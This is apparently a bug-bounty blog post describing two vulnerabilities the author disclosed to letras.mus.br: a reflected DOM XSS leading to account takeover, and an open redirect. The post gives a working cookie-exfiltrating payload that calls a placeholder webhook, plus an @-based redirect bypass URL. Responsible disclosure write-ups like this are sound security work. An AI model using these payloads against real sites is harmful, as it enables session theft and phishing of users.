letras.mus.br: My First Critical Real-World Finding

My first critical finding in the wild

This one is special: it's my first critical vulnerability reported and fixed on a real production target, with a reward and a spot in the company's Hall of Fame. The target didn't even have a bug bounty program, this was pure ethical outreach, and it was done together with my colleague Tiago Abreu.

The target was letras.mus.br, one of the biggest lyrics platforms out there, part of the same company that runs Cifra Club, an app I actually use myself as a musician to follow song structures. So this was personal in the best way.

Our names are in the Letras Hall of Fame.

The team was genuinely welcoming, and as a thank-you they gave me a lifetime Cifra Club subscription. A great first-report experience all around.

I found two issues: one critical (XSS leading to full Account Takeover) and one medium (Open Redirect). Here's the technical story of both.

Finding 1: Reflected DOM-based XSS to Account Takeover (Critical)

Summary

The main search bar was vulnerable to Reflected DOM-based XSS. Input supplied in the search parameter was not properly sanitized before being rendered and reflected into the DOM by the client-side application.

Because the site's Content Security Policy wasn't restrictive enough to block inline script execution or external requests, it was possible to execute arbitrary JavaScript.

Impact: Account Takeover

The impact was critical. Looking at the session cookies, they carried only the Secure flag, no HttpOnly. That means an attacker can read the session cookies (and the associated JWT) of any authenticated user directly from JavaScript and exfiltrate them to an external server.

Worse, the same JWT was valid across the whole ecosystem: exfiltrate it on one domain and you can take over the account on the others (letras.mus.br and Cifra Club shared the session). One injection, multiple platforms compromised.

Proof of Concept

The payload didn't even need to load an external script:

<img src=x onerror="fetch('https://[WEBHOOK]/?cookie=' + encodeURIComponent(document.cookie))">

Delivered through the search parameter, so that a victim with an active session simply had to open the crafted link and interact with the search bar for their cookies to be shipped off to the attacker's webhook, enabling full account takeover.

The full attack, from crafted link to stolen session:

And the same JWT, lifted from one domain and reused to log in on another:

Finding 2: Open Redirect (Medium)

Summary

The contributions login flow (/contribuicoes/entrar/) had an Open Redirect in its redirect GET parameter, which didn't strictly validate the final destination.

Impact: phishing and trust abuse

Since letras.mus.br is a trusted domain for its users, an attacker can spread links that look legitimate but transparently bounce the victim to an attacker-controlled clone, perfect for credential phishing or malware delivery while the victim still believes they're in the platform's ecosystem.

Proof of Concept

The bypass abuses how browsers interpret HTTP Basic Auth credentials in a URL:

https://www.letras.mus.br/contribuicoes/entrar/?redirect=@google.com/

The server validates the request and triggers the redirect. The browser then reads the resulting string https://www.letras.mus.br@google.com/, treating everything before the @ as ignorable credentials, and happily navigates to google.com.

Suggested fix

• Validate the redirect value against a whitelist of safe paths, or force it to be a strictly relative path (must start with /, and the second character must not be / or @).
• Reject any URL containing @ to avoid client-side URL-parsing bypasses.

A brilliant first taste of coordinated disclosure on a real target: a critical bug, a responsive team, a reward, and a Hall of Fame entry. Exactly the kind of ethical work I want to keep doing as I build my path as a Security Researcher.